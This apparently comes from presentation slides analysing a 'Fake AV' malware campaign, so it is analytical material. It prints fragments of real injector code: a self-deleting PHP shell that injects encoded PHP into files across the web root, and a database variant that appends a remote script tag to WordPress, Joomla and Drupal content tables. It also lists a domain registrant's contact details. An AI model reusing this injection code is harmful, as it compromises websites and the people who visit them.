  43. Fake AV – Attack Breakdown Registrant: Hilary Kneber hilarykneber@yahoo.com 7569468 fax: 7569468 29/2 Sun street. Montey 29 Virginia NA 3947

  44. Fake AV – Sample Shell $z=$_SERVER["DOCUMENT_ROOT"]; $encoded='<'.'?php /**/ [base64 encoded string]"));?'.'>'; @unlink($_SERVER['SCRIPT_FILENAME']); $val=$z; $totalinjected=0; echo "Working with $val\n!!STARTING!!"; ob_flush(); $start_time=microtime(true); if ($val!="")do_folder($val); $end_time=microtime(true)-$start_time; echo "|Injected| $totalinjected files in $end_time seconds\n";

  45. Fake AV – DB Variant … $insert='<script src="http://welcometotheglobalisorg.com/js.php?kk=26"></script>'; ... $link=mysql_connect($host,$user,$pass); if (!$link) { die('Could not connect: ' . mysql_error()); }else{ echo 'Connected successfully'."\n"; $db_list = mysql_list_dbs($link); $bases = array(); while ($row = mysql_fetch_object($db_list)) { $bases[]=$row->Database; } … //wordpress if (last_is($table,"_posts")){ $query="UPDATE `".$bases[$i]."`.`$table` SET `post_content` = concat(`post_content`,'$insert')"; } //joomla if (last_is($table,"_content")){ $query="UPDATE `".$bases[$i]."`.`$table` SET `introtext` = concat(`introtext`,'$insert')“; } //drupal if (last_is($table,"node_revisions")){ $query="UPDATE `".$bases[$i]."`.`$table` SET `body` = concat(`body`,'$insert'), format=2“; } if (last_is($table,"_post")){ $query="UPDATE `".$bases[$i]."`.`$table` SET `title` = concat(`title`,'$insert')“; }
